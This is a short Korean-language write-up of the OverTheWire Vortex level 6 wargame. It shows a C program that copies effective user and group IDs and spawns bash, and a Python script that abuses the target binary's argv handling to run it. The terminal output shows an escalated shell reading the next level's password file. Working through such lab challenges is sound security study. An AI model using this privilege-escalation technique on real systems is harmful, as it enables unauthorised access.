http://www.overthewire.org/wargames/vortex/level6.shtml
문제를 보면 바이너리 파일을 제공해 준다. 해당 바이너리를 IDA를 통해 확인을 해보면 아래와 같다.
- restart() 함수가 존재한다.
- restart() 함수의 역활을 보니 argv를 받아 execlp() 함수로 실행해주는 함수이다.
그렇다면 그냥 쉽게 쉘을 실행시키는 코드를 짜서 restart() 함수를 이용하여 실행하면 될것으로 보인다. 공격해보자!
vortex6@games /tmp/byjjoon_6 $ cat shell.c
int main()
{
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
execl("/bin/bash", "sh", 0);
}
vortex6@games /tmp/byjjoon_6 $ gcc -o shell shell.c
vortex6@games /tmp/byjjoon_6 $ cat ex.py
#!/usr/bin/python
import os
os.execl('/vortex/level6', './shell')
vortex6@games /tmp/byjjoon_6 $ ./ex.py
sh-3.2$ id
uid=509(vortex7) gid=508(vortex6) groups=508(vortex6)
sh-3.2$ cat /etc/vortex_pass/vortex7
Y52jxHtt/
sh-3.2$